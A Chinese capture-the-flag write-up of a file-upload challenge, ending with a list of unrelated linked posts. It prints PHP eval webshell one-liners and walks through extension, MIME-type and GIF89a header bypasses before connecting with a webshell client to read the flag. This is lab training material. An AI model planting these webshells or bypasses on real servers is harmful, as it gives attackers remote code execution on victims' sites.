[极客大挑战 2019]Upload 1

题目环境:

根据题目和环境可知此题目是一道文件上传漏洞

编写一句话木马脚本
<?php @eval($_POST['shell']);?>

将脚本文件更改为jpg图片文件

我这里是flag.jpg


上传文件并burpsuite抓包

Repeater重放

报错一句话木马里面有<?字符

换一种一句话木马

继续编写木马脚本
<script language="php">@eval($_POST['shell']);</script>

保存为flag.phtml文件

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

因为前几个都被过滤了,所以选择使用phtml后缀

上传抓包

修改为image/jpeg图片格式

Repeater重放Send

不是图片

通过GIF89a进行绕过
GIF89a<script language="php">@eval($_POST['shell']);</script>

使文件为动态GIF文件绕过检测

访问upload/flag.phtml文件

上传成功

复制URL链接

使用中国蚁剑连接

在/根目录下找到flag文件

访问flag文件


得到flag:
flag{5359382e-ae88-42a8-8116-8c85a02fb21f}

相关推荐
汤姆yu5 分钟前
基于SpringBoot的动漫周边商场系统的设计与开发
java·spring boot·后端
灰小猿20 分钟前
Spring前后端分离项目时间格式转换问题全局配置解决
java·前端·后端·spring·spring cloud
im_AMBER35 分钟前
React 16
前端·笔记·学习·react.js·前端框架
02苏_36 分钟前
ES6模板字符串
前端·ecmascript·es6
excel39 分钟前
⚙️ 一次性警告机制的实现:warnOnce 源码深度解析
前端
excel41 分钟前
Vue SFC 样式编译核心机制详解:compileStyle 与 PostCSS 管线设计
前端
excel42 分钟前
🧩 使用 Babel + MagicString 实现动态重写 export default 的通用方案
前端
excel42 分钟前
Vue SFC 编译器主导出文件解析:模块组织与设计哲学
前端
excel1 小时前
深度解析:Vue SFC 模板编译器核心实现 (compileTemplate)
前端
excel1 小时前
Vue SFC 解析器源码深度解析:从结构设计到源码映射
前端